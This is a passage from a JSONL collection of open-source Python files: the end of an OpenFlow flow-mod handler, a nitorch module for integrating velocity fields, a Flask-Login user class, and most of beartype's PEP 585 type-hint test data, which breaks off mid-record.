parser.OFPInstructionActions(\n ofproto.OFPIT_APPLY_ACTIONS,\n [ parser.OFPActionOutput(output_port) ]\n )\n ]\n mod = parser.OFPFlowMod(\n datapath=datapath,\n priority=10,\n match=match,\n instructions=inst,\n buffer_id=msg.buffer_id\n )\n datapath.send_msg(mod)\n\n return\n", "source": "chenyongzhouking/qqq", "license": "Apache-2.0"} {"text": "\"\"\"Integrate/Shoot velocity fields.\"\"\"\n\nimport torch\nfrom ._grid import grid_pull, identity_grid\nfrom nitorch.core.utils import channel2last, last2channel\n\n__all__ = ['exp']\n\n\ndef exp(vel, inverse=False, steps=None, interpolation='linear', bound='dft',\n displacement=False, energy=None, vs=None, greens=None, inplace=False):\n # Deal with inplace computation\n if inplace is None:\n inplace = not vel.requires_grad\n if not inplace and not vel.requires_grad:\n vel = vel.clone()\n elif inplace and vel.requires_grad:\n Warning('Inplace computation may break the computational graph.')\n\n if energy is None and greens is None:\n # If no energy or greens function: use scaling and squaring\n return _exp_sq(vel, inverse, steps, interpolation, bound,\n displacement)\n else:\n # If energy or greens function provided: use shoot\n raise NotImplementedError\n\n\ndef _exp_sq(vel, inverse=False, steps=8,\n interpolation='linear', bound='dft', displacement=False):\n # /!\\ This function may process inplace without warning\n\n if steps is None or steps == float('Inf'):\n steps = 8\n\n # Precompute identity + aliases\n dtype = vel.dtype\n device = vel.device\n id = identity_grid(vel.shape[1:-1], dtype=dtype, device=device)\n opt = {'interpolation': interpolation, 'bound': bound}\n\n def scl_outplace(v):\n v = v / (2**steps)\n for i in range(steps):\n g = id + v\n v = v + _pull_vel(v, g, **opt)\n return v\n\n def scl_inplace(v):\n v /= (2**steps)\n for i in range(steps):\n v += _pull_vel(v, id+v, **opt)\n return v\n\n if vel.requires_grad:\n scl = scl_outplace\n smalldef = lambda v: id + v\n if inverse:\n vel = -vel\n else:\n scl = scl_inplace\n smalldef = lambda v: v.__iadd__(id)\n if inverse:\n torch.neg(vel, out=vel)\n\n vel = scl(vel)\n if not displacement:\n vel = smalldef(vel)\n return vel\n\n\ndef _pull_vel(vel, grid, *args, **kwargs):\n \"\"\"Interpolate a velocity/grid/displacement field.\n\n Parameters\n ----------\n vel : (batch, ..., ndim) tensor\n Velocity\n grid : (batch, ..., ndim) tensor\n Transformation field\n opt : dict\n Options to ``grid_pull``\n\n Returns\n -------\n pulled_vel : (batch, ..., ndim) tensor\n Velocity\n\n \"\"\"\n return channel2last(grid_pull(last2channel(vel), grid, *args, **kwargs))\n\n", "source": "liamchalcroft/nitorch", "license": "MIT"} {"text": "from flask_login import UserMixin\n\n\nclass User(UserMixin):\n\n def __init__(self, user_id):\n self.id = user_id\n", "source": "ONSdigital/response-operations-social-ui", "license": "MIT"} {"text": "#!/usr/bin/env python3\n# --------------------( LICENSE )--------------------\n# Copyright (c) 2014-2021 Beartype authors.\n# See \"LICENSE\" for further details.\n\n'''\nProject-wide :pep:`585`-compliant **type hint test data.**\n'''\n\n# ....................{ IMPORTS }....................\nfrom beartype._util.py.utilpyversion import IS_PYTHON_AT_LEAST_3_9\n\n# ....................{ ADDERS }....................\ndef add_data(data_module: 'ModuleType') -> None:\n '''\n Add :pep:`585`-compliant type hint test data to various global containers\n declared by the passed module.\n\n Parameters\n ----------\n data_module : ModuleType\n Module to be added to.\n '''\n\n # If the active Python interpreter targets less than Python < 3.9, this\n # interpreter fails to support PEP 585. In this case, reduce to a noop.\n if not IS_PYTHON_AT_LEAST_3_9:\n return\n # Else, the active Python interpreter targets at least Python >= 3.9 and\n # thus supports PEP 585.\n\n # ..................{ IMPORTS }..................\n # Defer Python >= 3.9-specific imports.\n import re\n from beartype._cave._cavefast import IntType\n from beartype._data.hint.pep.sign.datapepsigns import (\n HintSignByteString,\n HintSignCallable,\n HintSignContextManager,\n HintSignDict,\n HintSignGeneric,\n HintSignList,\n HintSignMatch,\n HintSignMutableSequence,\n HintSignPattern,\n HintSignSequence,\n HintSignTuple,\n HintSignType,\n )\n from beartype_test.a00_unit.data.data_type import (\n Class,\n Subclass,\n SubclassSubclass,\n OtherClass,\n OtherSubclass,\n # OtherSubclassSubclass,\n context_manager_factory,\n )\n from beartype_test.a00_unit.data.hint.util.data_hintmetacls import (\n HintPepMetadata,\n HintPithSatisfiedMetadata,\n HintPithUnsatisfiedMetadata,\n )\n from collections.abc import (\n ByteString,\n Callable,\n Container,\n Iterable,\n MutableSequence,\n Sequence,\n Sized,\n )\n from contextlib import AbstractContextManager\n from re import Match, Pattern\n from typing import Any, TypeVar, Union\n\n # ..................{ TYPEVARS }..................\n S = TypeVar('S')\n '''\n User-defined generic :mod:`typing` type variable.\n '''\n\n\n T = TypeVar('T')\n '''\n User-defined generic :mod:`typing` type variable.\n '''\n\n # ..................{ CLASSES ~ generics : single }..................\n class Pep585GenericUntypevaredSingle(list[str]):\n '''\n :pep:`585`-compliant user-defined generic subclassing a single\n subscripted (but unparametrized) builtin type.\n '''\n\n # Redefine this generic's representation for debugging purposes.\n def __repr__(self) -> str:\n return f'{self.__class__.__name__}({super().__repr__()})'\n\n\n class Pep585GenericTypevaredSingle(list[S, T]):\n '''\n :pep:`585`-compliant user-defined generic subclassing a single\n parametrized builtin type.\n '''\n\n # Redefine this generic's representation for debugging purposes.\n def __repr__(self) -> str:\n return f'{self.__class__.__name__}({super().__repr__()})'\n\n # ..................{ CLASSES ~ generics : multiple }..................\n class Pep585GenericUntypevaredMultiple(\n Callable, AbstractContextManager[str], Sequence[str]):\n '''\n :pep:`585`-compliant user-defined generic subclassing multiple\n subscripted (but unparametrized) :mod:`collection.abc` abstract base\n classes (ABCs) *and* an unsubscripted :mod:`collection.abc` ABC.\n '''\n\n # ................{ INITIALIZERS }................\n def __init__(self, sequence: tuple) -> None:\n '''\n Initialize this generic from the passed tuple.\n '''\n\n assert isinstance(sequence, tuple), f'{repr(sequence)} not tuple.'\n self._sequence = sequence\n\n # ................{ ABCs }................\n # Define all protocols mandated by ABCs subclassed by this generic.\n\n def __call__(self) -> int:\n return len(self)\n\n def __contains__(self, obj: object) -> bool:\n return obj in self._sequence\n\n def __enter__(self) -> object:\n return self\n\n def __exit__(self, *args, **kwargs) -> bool:\n return False\n\n def __getitem__(self, index: int) -> object:\n return self._sequence[index]\n\n def __iter__(self) -> bool:\n return iter(self._sequence)\n\n def __len__(self) -> bool:\n return len(self._sequence)\n\n def __reversed__(self) -> object:\n return self._sequence.reverse()\n\n\n class Pep585GenericTypevaredShallowMultiple(Iterable[T], Container[T]):\n '''\n :pep:`585`-compliant user-defined generic subclassing multiple directly\n parametrized :mod:`collections.abc` abstract base classes (ABCs).\n '''\n\n # ................{ INITIALIZERS }................\n def __init__(self, iterable: tuple) -> None:\n '''\n Initialize this generic from the passed tuple.\n '''\n\n assert isinstance(iterable, tuple), f'{repr(iterable)} not tuple.'\n self._iterable = iterable\n\n # ................{ ABCs }................\n # Define all protocols mandated by ABCs subclassed by this generic.\n def __contains__(self, obj: object) -> bool:\n return obj in self._iterable\n\n def __iter__(self) -> bool:\n return iter(self._iterable)\n\n\n class Pep585GenericTypevaredDeepMultiple(\n Sized, Iterable[tuple[S, T]], Container[tuple[S, T]]):\n '''\n :pep:`585`-compliant user-defined generic subclassing multiple\n indirectly parametrized (but unsubscripted) :mod:`collections.abc`\n abstract base classes (ABCs) *and* an unsubscripted and unparametrized\n :mod:`collections.abc` ABC.\n '''\n\n # ................{ INITIALIZERS }................\n def __init__(self, iterable: tuple) -> None:\n '''\n Initialize this generic from the passed tuple.\n '''\n\n assert isinstance(iterable, tuple), f'{repr(iterable)} not tuple.'\n self._iterable = iterable\n\n # ................{ ABCs }................\n # Define all protocols mandated by ABCs subclassed by this generic.\n def __contains__(self, obj: object) -> bool:\n return obj in self._iterable\n\n def __iter__(self) -> bool:\n return iter(self._iterable)\n\n def __len__(self) -> bool:\n return len(self._iterable)\n\n # ..................{ PRIVATE ~ forwardref }..................\n _TEST_PEP585_FORWARDREF_CLASSNAME = (\n 'beartype_test.a00_unit.data.data_type.Subclass')\n '''\n Fully-qualified classname of an arbitrary class guaranteed to be\n importable.\n '''\n\n\n _TEST_PEP585_FORWARDREF_TYPE = Subclass\n '''\n Arbitrary class referred to by :data:`_PEP484_FORWARDREF_CLASSNAME`.\n '''\n\n # ..................{ MAPPINGS }..................\n # Add PEP 585-specific test type hints to this dictionary global.\n data_module.HINTS_PEP_META.extend((\n # ................{ BYTESTRING }................\n # Byte string of integer constants satisfying the builtin \"int\" type.\n #\n # Note that *ALL* byte strings necessarily contain only integer\n # constants, regardless of whether those byte strings are instantiated\n # as \"bytes\" or \"bytearray\" instances. Ergo, subscripting\n # \"collections.abc.ByteString\" by any class other than those satisfying\n # the standard integer protocol raises a runtime error from @beartype.\n # Yes, this means that subscripting \"collections.abc.ByteString\"\n # conveys no information and is thus nonsensical. Welcome to PEP 585.\n HintPepMetadata(\n hint=ByteString[int],\n pep_sign=HintSignByteString,\n isinstanceable_type=ByteString,\n is_pep585_builtin=True,\n piths_satisfied_meta=(\n # Byte string constant.\n HintPithSatisfiedMetadata(b'Ingratiatingly'),\n ),\n piths_unsatisfied_meta=(\n # String constant.\n HintPithUnsatisfiedMetadata('For an \u01fceons\u2019 \u00e6on.'),\n ),\n ),\n\n # Byte string of integer constants satisfying the stdlib\n # \"numbers.Integral\" protocol.\n HintPepMetadata(\n hint=ByteString[IntType],\n pep_sign=HintSignByteString,\n isinstanceable_type=ByteString,\n is_pep585_builtin=True,\n piths_satisfied_meta=(\n # Byte array initialized from a byte string constant.\n HintPithSatisfiedMetadata(bytearray(b'Cutting Wit')),\n ),\n piths_unsatisfied_meta=(\n # String constant.\n HintPithUnsatisfiedMetadata(\n 'Of birch\u2010rut, smut\u2010smitten papers and'),\n ),\n ),\n\n # ................{ CALLABLE }................\n # Callable accepting no parameters and returning a string.\n HintPepMetadata(\n hint=Callable[[], str],\n pep_sign=HintSignCallable,\n isinstanceable_type=Callable,\n is_pep585_builtin=True,\n piths_satisfied_meta=(\n # Lambda function returning a string constant.\n HintPithSatisfiedMetadata(lambda: 'Eudaemonia.'),\n ),\n piths_unsatisfied_meta=(\n # String constant.\n HintPithUnsatisfiedMetadata('...grant we heal'),\n ),\n ),\n\n # ................{ CONTEXTMANAGER }................\n # Context manager yielding strings.\n HintPepMetadata(\n hint=AbstractContextManager[str],\n pep_sign=HintSignContextManager,\n isinstanceable_type=AbstractContextManager,\n is_pep585_builtin=True,\n piths_satisfied_meta=(\n # Context manager.\n HintPithSatisfiedMetadata(\n pith=lambda: context_manager_factory(\n 'We were mysteries, unwon'),\n is_context_manager=True,\n is_pith_factory=True,\n ),\n ),\n piths_unsatisfied_meta=(\n # String constant.\n HintPithUnsatisfiedMetadata('We donned apportionments'),\n ),\n ),\n\n # ................{ DICT }................\n # Flat dictionary.\n HintPepMetadata(\n hint=dict[int, str],\n pep_sign=HintSignDict,\n isinstanceable_type=dict,\n is_pep585_builtin=True,\n piths_satisfied_meta=(\n # Dictionary mapping integer keys to string values.\n HintPithSatisfiedMetadata({\n 1: 'For taxing',\n 2: \"To a lax and golden\u2010rendered crucifixion, affix'd\",\n }),\n ),\n piths_unsatisfied_meta=(\n # String constant.\n HintPithUnsatisfiedMetadata(\n 'To that beep\u2010prattling, LED\u2010 and lead-rattling crux'),\n ),\n ),\n\n # Generic dictionary.\n HintPepMetadata(\n hint=dict[S, T],\n pep_sign=HintSignDict,\n isinstanceable_type=dict,\n is_typevars=True,\n is_pep585_builtin=True,\n piths_satisfied_meta=(\n # Dictionary mapping string keys to integer values.\n HintPithSatisfiedMetadata({\n 'Less-ons\"-chastened': 2,\n 'Chanson': 1,\n }),\n ),\n piths_unsatisfied_meta=(\n # String constant.\n HintPithUnsatisfiedMetadata('Swansong.'),\n ),\n ),\n\n # ................{ GENERATOR }................\n # Note that testing generators requires creating generators, which\n # require a different syntax to that of standard callables; ergo,\n # generator type hints are tested elsewhere.\n\n # ................{ GENERICS ~ single }................\n # Note that PEP 585-compliant generics are *NOT* explicitly detected as\n # PEP 585-compliant due to idiosyncrasies in the CPython implementation\n # of these generics. Ergo, we intentionally do *NOT* set\n # \"is_pep585_builtin=True,\" below.\n\n # Generic subclassing a single unparametrized builtin container.\n HintPepMetadata(\n hint=Pep585GenericUntypevaredSingle,\n pep_sign=HintSignGeneric,\n generic_type=Pep585GenericUntypevaredSingle,\n is_pep585_generic=True,\n is_args=False,\n piths_satisfied_meta=(\n # Subclass-specific generic list of string constants.\n HintPithSatisfiedMetadata(Pep585GenericUntypevaredSingle((\n 'Forgive our Vocation\u2019s vociferous publications',\n 'Of',\n ))),\n ),\n piths_unsatisfied_meta=(\n # String constant.\n HintPithUnsatisfiedMetadata(\n 'Hourly sybaritical, pub sabbaticals'),\n # List of string constants.\n HintPithUnsatisfiedMetadata([\n 'Materially ostracizing, itinerant\u2010',\n 'Anchoretic digimonks initiating',\n ]),\n ),\n ),\n\n # Generic subclassing a single parametrized builtin containerr.\n HintPepMetadata(\n hint=Pep585GenericTypevaredSingle,\n pep_sign=HintSignGeneric,\n generic_type=Pep585GenericTypevaredSingle,\n is_pep585_generic=True,\n is_typevars=True,\n piths_satisfied_meta=(\n # Subclass-specific generic list of string constants.\n HintPithSatisfiedMetadata(Pep585GenericTypevaredSingle((\n 'Pleasurable, Raucous caucuses',\n 'Within th-in cannon\u2019s cynosure-ensuring refectories',\n ))),\n ),\n piths_unsatisfied_meta=(\n # String constant.\n HintPithUnsatisfiedMetadata(\n 'We there-in leather-sutured scriptured books'),\n # List of string constants.\n HintPithUnsatisfiedMetadata([\n 'We laboriously let them boringly refactor',\n 'Of Meme\u2010hacked faith\u2019s abandonment, retroactively',\n ]),\n ),\n ),\n\n # Generic subclassing a single parametrized builtin container, itself\n # parametrized by the same type variables in the same order.\n HintPepMetadata(\n hint=Pep585GenericTypevaredSingle[S, T],\n pep_sign=HintSignGeneric,\n generic_type=Pep585GenericTypevaredSingle,\n is_pep585_generic=True,\n is_typevars=True,\n piths_satisfied_meta=(\n # Subclass-specific generic list of string constants.\n HintPithSatisfiedMetadata(Pep585GenericTypevaredSingle((\n 'Bandage\u2010managed',\n 'Into Faithless redaction\u2019s didact enactment \u2014 crookedly',\n ))),\n ),\n piths_unsatisfied_meta=(\n # String constant.\n HintPithUnsatisfiedMetadata(\n 'Down\u2010bound'),\n # List of string constants.\n HintPithUnsatisfiedMetadata([\n 'To prayer',\n 'To \u019c\u1e59aith\u2010like\u2010upwreathed ligaments',\n ]),\n ),\n ),\n\n # ................{ GENERICS ~ multiple }................\n # Generic subclassing multiple unparametrized \"collection.abc\" abstract\n # base class (ABCs) *AND* an unsubscripted \"collection.abc\" ABC.\n HintPepMetadata(\n hint=Pep585GenericUntypevaredMultiple,\n pep_sign=HintSignGeneric,\n generic_type=Pep585GenericUntypevaredMultiple,\n is_pep585_generic=True,\n is_args=False,\n piths_satisfied_meta=(\n # Subclass-specific generic 2-tuple of string constants.\n HintPithSatisfiedMetadata(Pep585GenericUntypevaredMultiple((\n 'Into a viscerally Eviscerated eras\u2019 meditative hallways',\n 'Interrupting Soul\u2010viscous, vile\u2010ly Viceroy\u2010insufflating',\n ))),\n ),\n piths_unsatisfied_meta=(\n # String constant.\n HintPithUnsatisfiedMetadata('Initiations'),\n # 2-tuple of string constants.\n HintPithUnsatisfiedMetadata((\n \"Into a fat mendicant\u2019s\",\n 'Endgame\u2010defendant, dedicate rants',\n )),\n ),\n ),\n\n # Generic subclassing multiple parametrized \"collections.abc\" abstract\n # base classes (ABCs).\n HintPepMetadata(\n hint=Pep585GenericTypevaredShallowMultiple,\n pep_sign=HintSignGeneric,\n generic_type=Pep585GenericTypevaredShallowMultiple,\n is_pep585_generic=True,\n is_typevars=True,\n piths_satisfied_meta=(\n # Subclass-specific generic iterable of string constants.\n HintPithSatisfiedMetadata(\n Pep585GenericTypevaredShallowMultiple((\n \"Of foliage's everliving antestature \u2014\",\n 'In us, Leviticus\u2010confusedly drunk',\n )),\n ),\n ),\n piths_unsatisfied_meta=(\n # String constant.\n HintPithUnsatisfiedMetadata(\"In Usufructose truth's\"),\n ),\n ),\n\n # Generic subclassing multiple indirectly parametrized\n # \"collections.abc\" abstract base classes (ABCs) *AND* an\n # unparametrized \"collections.abc\" ABC.\n HintPepMetadata(\n hint=Pep585GenericTypevaredDeepMultiple,\n pep_sign=HintSignGeneric,\n generic_type=Pep585GenericTypevaredDeepMultiple,\n is_pep585_generic=True,\n is_typevars=True,\n is_type_typing=False,\n piths_satisfied_meta=(\n # Subclass-specific generic iterable of 2-tuples of string\n # constants.\n HintPithSatisfiedMetadata(\n Pep585GenericTypevaredDeepMultiple((\n (\n 'Inertially tragicomipastoral, pastel anticandour \u2014',\n 'remanding undemanding',\n ),\n (\n 'Of a',\n '\"hallow be Thy nameless',\n ),\n )),\n ),\n ),\n piths_unsatisfied_meta=(\n # String constant.\n HintPithUnsatisfiedMetadata('Invitations'),\n ),\n ),\n\n # Nested list of PEP 585-compliant generics.\n HintPepMetadata(\n hint=list[Pep585GenericUntypevaredMultiple],\n pep_sign=HintSignList,\n isinstanceable_type=list,\n is_pep585_builtin=True,\n piths_satisfied_meta=(\n # List of subclass-specific generic 2-tuples of string\n # constants.\n HintPithSatisfiedMetadata([\n Pep585GenericUntypevaredMultiple((\n 'Stalling inevit\u2010abilities)',\n 'For carbined',\n )),\n Pep585GenericUntypevaredMultiple((\n 'Power-over (than',\n 'Power-with)',\n )),\n ]),\n ),\n piths_unsatisfied_meta=(\n # String constant.\n HintPithUnsatisfiedMetadata(\n 'that forced triforced, farcically carcinogenic Obelisks'),\n # List of 2-tuples of string constants.\n HintPithUnsatisfiedMetadata([\n (\n 'Obliterating their literate decency',\n 'Of a cannabis\u2010enthroning regency',\n ),\n ]),\n ),\n ),\n\n # ................{ LIST }................\n # List of ignorable objects.\n HintPepMetadata(\n hint=list[object],\n pep_sign=HintSignList,\n isinstanceable_type=list,\n is_pep585_builtin=True,\n piths_satisfied_meta=(\n # Empty list, which satisfies all hint arguments by definition.\n HintPithSatisfiedMetadata([]),\n # List of arbitrary objects.\n HintPithSatisfiedMetadata([\n 'Of philomathematically bliss\u2010postulating Seas',\n 'Of actuarial postponement',\n 23.75,\n ]),\n ),\n piths_unsatisfied_meta=(\n # String constant.\n HintPithUnsatisfiedMetadata(\n 'Of actual change elevating alleviation \u2014 that'),\n ),\n ),\n\n # List of non-\"typing\" objects.\n HintPepMetadata(\n hint=list[str],\n pep_sign=HintSignList,\n isinstanceable_type=list,\n is_pep585_builtin=True,\n piths_satisfied_meta=(\n # Empty list, which satisfies all hint arguments by definition.\n HintPithSatisfiedMetadata([]),\n # List of strings.\n HintPithSatisfiedMetadata([\n 'Ously overmoist, ov\u2010ertly',\n 'Deverginating vertigo\u2010originating',\n ]),\n ),\n piths_unsatisfied_meta=(\n # String constant.\n HintPithUnsatisfiedMetadata('Devilet\u2010Sublet cities waxing'),\n # List containing exactly one integer. Since list items are only\n # randomly type-checked, only a list of exactly one item enables us\n # to match the explicit index at fault below.\n HintPithUnsatisfiedMetadata(\n pith=[73,],\n # Match that the exception message raised for this object...\n exception_str_match_regexes=(\n # Declares the index of a random list item *NOT*\n # satisfying this hint.\n r'\\s[Ll]ist item \\d+\\s',\n # Double-quotes the value of this item.\n r'\\s\"73\"\\s',\n ),\n ),\n ),\n ),\n\n # Generic list.\n HintPepMetadata(\n hint=list[T],\n pep_sign=HintSignList,\n isinstanceable_type=list,\n is_typevars=True,\n is_pep585_builtin=True,\n piths_satisfied_meta=(\n # Empty list, which satisfies all hint arguments by definition.\n HintPithSatisfiedMetadata([]),\n # List of strings.\n HintPithSatisfiedMetadata([\n 'Lesion this ice-scioned',\n 'Legion',\n ]),\n ),\n piths_unsatisfied_meta=(\n # String constant.\n HintPithUnsatisfiedMetadata(\n 'Lest we succumb, indelicately, to'),\n ),\n ),\n\n # ................{ REGEX ~ match }................\n # Regular expression match of only strings.\n HintPepMetadata(\n hint=Match[str],\n pep_sign=HintSignMatch,\n isinstanceable_type=Match,\n is_pep585_builtin=True,\n piths_satisfied_meta=(\n # Regular expression match of one or more string constants.\n HintPithSatisfiedMetadata(re.search(\n r'\\b[a-z]+itiat[a-z]+\\b',\n 'Vitiating novitiate Succub\u00e6 \u2013 a',\n )),\n ),\n piths_unsatisfied_meta=(\n # String constant.\n HintPithUnsatisfiedMetadata('Into Elitistly'),\n ),\n ),\n\n # ................{ REGEX ~ pattern }................\n # Regular expression pattern of only strings.\n HintPepMetadata(\n hint=Pattern[str],\n pep_sign=HintSignPattern,\n isinstanceable_type=Pattern,\n is_pep585_builtin=True,\n piths_satisfied_meta=(\n # Regular expression string pattern.\n HintPithSatisfiedMetadata(\n re.compile(r'\\b[A-Z]+ITIAT[A-Z]+\\b')),\n ),\n piths_unsatisfied_meta=(\n # String constant.\n HintPithUnsatisfiedMetadata('Obsessing men'),\n ),\n ),\n\n # ................{ SUBCLASS }................\n # Any type, semantically equivalent under PEP 484 to the unsubscripted\n # \"Type\" singleton.\n HintPepMetadata(\n hint=type[Any],\n pep_sign=HintSignType,\n isinstanceable_type=type,\n is_pep585_builtin=True,\n piths_satisfied_meta=(\n # Arbitrary class.\n HintPithSatisfiedMetadata(float),\n ),\n piths_unsatisfied_meta=(\n # String constant.\n HintPithUnsatisfiedMetadata('Coulomb\u2010lobed lobbyist\u2019s \u0122om'),\n ),\n ),\n\n # \"type\" superclass, semantically equivalent to the unsubscripted\n # \"Type\" singleton.\n HintPepMetadata(\n hint=type[type],\n pep_sign=HintSignType,\n isinstanceable_type=type,\n is_pep585_builtin=True,\n piths_satisfied_meta=(\n # Arbitrary class.\n HintPithSatisfiedMetadata(complex),\n ),\n piths_unsatisfied_meta=(\n # String constant.\n HintPithUnsatisfiedMetadata('Had al-'),\n ),\n ),\n\n # Specific class.\n HintPepMetadata(\n hint=type[Class],\n pep_sign=HintSignType,\n isinstanceable_type=type,\n is_pep585_builtin=True,\n piths_satisfied_meta=(\n # Subclass of this class.\n HintPithSatisfiedMetadata(Subclass),\n ),\n piths_unsatisfied_meta=(\n # String constant.\n HintPithUnsatisfiedMetadata('Namely,'),\n # Non-subclass of this class.\n HintPithUnsatisfiedMetadata(str),\n ),\n ),\n\n # Specific class deferred with a forward reference.\n HintPepMetadata(\n hint=type[_TEST_PEP585_FORWARDREF_CLASSNAME],\n pep_sign=HintSignType,\n isinstanceable_type=type,\n is_pep585_builtin=True,\n piths_satisfied_meta=(\n # Subclass of this class.\n HintPithSatisfiedMetadata(SubclassSubclass),\n ),\n piths_unsatisfied_meta=(\n # String constant.\n HintPithUnsatisfiedMetadata('Jabbar\u2010disbarred'),\n # Non-subclass of this class.\n HintPithUnsatisfiedMetadata(dict),\n ),\n ),\n\n # Two or more specific classes.\n HintPepMetadata(\n hint=type[Union[Class, OtherClass,]],\n pep_sign=HintSignType,\n isinstanceable_type=type,\n is_pep585_builtin=True,\n piths_satisfied_meta=(\n # Arbitrary subclass of one class subscripting this hint.\n HintPithSatisfiedMetadata(Subclass),\n # Arbitrary subclass of another class subscripting this hint.\n HintPithSatisfiedMetadata(OtherSubclass),\n ),\n piths_unsatisfied_meta=(\n # String constant.\n HintPithUnsatisfiedMetadata('Jabberings'),\n # Non-subclass of any classes subscripting this hint.\n HintPithUnsatisfiedMetadata(set),\n ),\n ),\n\n # Generic class.\n HintPepMetadata(\n hint=type[T],\n pep_sign=HintSignType,\n isinstanceable_type=type,\n is_pep585_builtin=True,\n is_typevars=True,\n piths_satisfied_meta=(\n # Arbitrary class.\n HintPithSatisfiedMetadata(int),\n ),\n piths_unsatisfied_meta=(\n # String constant.\n HintPithUnsatisfiedMetadata('Obligation, and'),\n ),\n ),\n\n # ................{ TUPLE ~ fixed }................\n # Empty tuple. Yes, this is ridiculous, useless, and non-orthogonal\n # with standard sequence syntax, which supports no comparable notion of\n # an \"empty {insert-standard-sequence-here}\" (e.g., empty list): e.g.,\n # >>> import typing\n # >>> List[()]\n # TypeError: Too few parameters for List; actual 0, expected 1\n # >>> List[[]]\n # TypeError: Parameters to generic types must be types. Got [].\n HintPepMetadata(\n hint=tuple[()],\n pep_sign=HintSignTuple,\n isinstanceable_type=tuple,\n is_pep585_builtin=True,\n piths_satisfied_meta=(\n # Empty tuple.\n HintPithSatisfiedMetadata(()),\n ),\n piths_unsatisfied_meta=(\n # Non-empty tuple containing arbitrary items.\n HintPithUnsatisfiedMetadata(\n pith=(\n 'They shucked',\n '(Or huckstered, knightly rupturing veritas)',\n ),\n # Match that the raised exception message...\n exception_str_match_regexes=(\n # Identifies this tuple as non-empty.\n r'\\bnon-empty\\b',\n ),\n ),\n ),\n ),\n\n # Fixed-length tuple of only ignorable child hints.\n HintPepMetadata(\n hint=tuple[Any, object,],\n pep_sign=HintSignTuple,\n isinstanceable_type=tuple,\n is_pep585_builtin=True,\n piths_satisfied_meta=(\n # Tuple containing arbitrary items.\n HintPithSatisfiedMetadata((\n 'Surseance',\n 'Of sky, the God, the surly',\n )),\n ),\n piths_unsatisfied_meta=(\n # Tuple containing fewer items than required.\n HintPithUnsatisfiedMetadata(\n pith=('Obeisance',),\n # Match that the raised exception message...\n exception_str_match_regexes=(\n # Compares this tuple's length to the expected length.\n r'\\b1 not 2\\b',\n ),\n ),\n ),\n ),\n\n # Fixed-length tuple of at least one ignorable child hint.\n HintPepMetadata(\n hint=tuple[float, Any, str,],\n pep_sign=HintSignTuple,\n isinstanceable_type=tuple,\n is_pep585_builtin=True,\n piths_satisfied_meta=(\n # Tuple containing a floating-point number, string, and integer\n # (in that exact order).\n HintPithSatisfiedMetadata((\n 20.09,\n 'Of an apoptosic T.A.R.P.\u2019s torporific\u2010riven ecocide',\n \"Nightly tolled, pindololy, ol'\",\n )),\n ),\n piths_unsatisfied_meta=(\n # String constant.\n HintPithUnsatisfiedMetadata(\n 'Jangling (brinkmanship \u201cIronside\u201d) jingoisms'),\n # Tuple containing fewer items than required.\n HintPithUnsatisfiedMetadata(\n pith=(\n 999.888,\n 'Obese, slipshodly muslin\u2010shod priests had maudlin solo',\n ),\n # Match that the raised exception message...\n exception_str_match_regexes=(\n # Compares this tuple's length to the expected length.\n r'\\b2 not 3\\b',\n ),\n ),\n # Tuple containing a floating-point number, a string, and a\n # boolean (in that exact order).\n HintPithUnsatisfiedMetadata(\n pith=(\n 75.83,\n 'Unwholesome gentry ventings',\n False,\n ),\n # Match that the raised exception message...\n exception_str_match_regexes=(\n # Declares the index and expected type of a fixed tuple\n # item *NOT* satisfying this hint.\n r'\\s[Tt]uple item 2\\s',\n r'\\bstr\\b',\n ),\n ),\n ),\n ),\n\n # Nested fixed-length tuple of at least one ignorable child hint.\n HintPepMetadata(\n hint=tuple[tuple[float, Any, str,], ...],\n pep_sign=HintSignTuple,\n isinstanceable_type=tuple,\n is_pep585_builtin=True,\n piths_satisfied_meta=(\n # Tuple containing tuples containing a floating-point number,\n # string, and integer (in that exact order).\n HintPithSatisfiedMetadata((\n (\n 90.02,\n 'Father \u2014 \"Abstracted, OH WE LOVE YOU',\n 'Farther\" \u2014 that',\n ),\n (\n 2.9,\n 'To languidly Ent\u2010wine',\n 'Towards a timely, wines\u2010enticing gate',\n ),\n )),\n ),\n piths_unsatisfied_meta=(\n # Tuple containing a tuple containing fewer items than needed.\n HintPithUnsatisfiedMetadata((\n (\n 888.999,\n 'Oboes\u2010obsoleting tines',\n ),\n )),\n # Tuple containing a tuple containing a floating-point number,\n # string, and boolean (in that exact order).\n HintPithUnsatisfiedMetadata(\n pith=(\n (\n 75.83,\n 'Vespers\u2019 hymnal seance, invoking',\n True,\n ),\n ),\n # Match that the raised exception message...\n exception_str_match_regexes=(\n # Declares the index and expected type of a random\n # tuple item of a fixed tuple item *NOT* satisfying\n # this hint.\n r'\\s[Tt]uple item \\d+ tuple item 2\\s',\n r'\\bstr\\b',\n ),\n ),\n ),\n ),\n\n # Generic fixed-length tuple.\n HintPepMetadata(\n hint=tuple[S, T],\n pep_sign=HintSignTuple,\n isinstanceable_type=tuple,\n is_pep585_builtin=True,\n is_typevars=True,\n piths_satisfied_meta=(\n # Tuple containing a floating-point number and string (in that\n # exact order).\n HintPithSatisfiedMetadata((\n 33.77,\n 'Legal indiscretions',\n )),\n ),\n piths_unsatisfied_meta=(\n # String constant.\n HintPithUnsatisfiedMetadata('Leisurely excreted by'),\n # Tuple containing fewer items than required.\n HintPithUnsatisfiedMetadata((\n 'Market states\u2010created, stark abscess',\n )),\n ),\n ),\n\n # ................{ TUPLE ~ variadic }................\n # Variadic tuple.\n HintPepMetadata(\n hint=tuple[str, ...],\n pep_sign=HintSignTuple,\n isinstanceable_type=tuple,\n is_pep585_builtin=True,\n piths_satisfied_meta=(\n # Tuple containing arbitrarily many string constants.\n HintPithSatisfiedMetadata((\n 'Of a scantly raptured Overture,'\n 'Ur\u2010churlishly',\n )),\n ),\n piths_unsatisfied_meta=(\n # String constant.\n HintPithUnsatisfiedMetadata(\n 'Of Toll\u2010descanted grant money'),\n # Tuple containing exactly one integer. Since tuple items are\n # only randomly type-checked, only a tuple of exactly one item\n # enables us to match the explicit index at fault below.\n HintPithUnsatisfiedMetadata(\n pith=((53,)),\n # Match that the raised exception message...\n exception_str_match_regexes=(\n # Declares the index and expected type of this tuple's\n # problematic item.\n r'\\s[Tt]uple item 0\\s',\n r'\\bstr\\b',\n ),\n ),\n ),\n ),\n\n # Generic variadic tuple.\n HintPepMetadata(\n hint=tuple[T, ...],\n pep_sign=HintSignTuple,\n isinstanceable_type=tuple,\n is_pep585_builtin=True,\n is_typevars=True,\n piths_satisfied_meta=(\n # Tuple containing arbitrarily many string constants.\n HintPithSatisfiedMetadata((\n 'Loquacious s\u2010age, salaciously,',\n 'Of regal\u2010seeming, 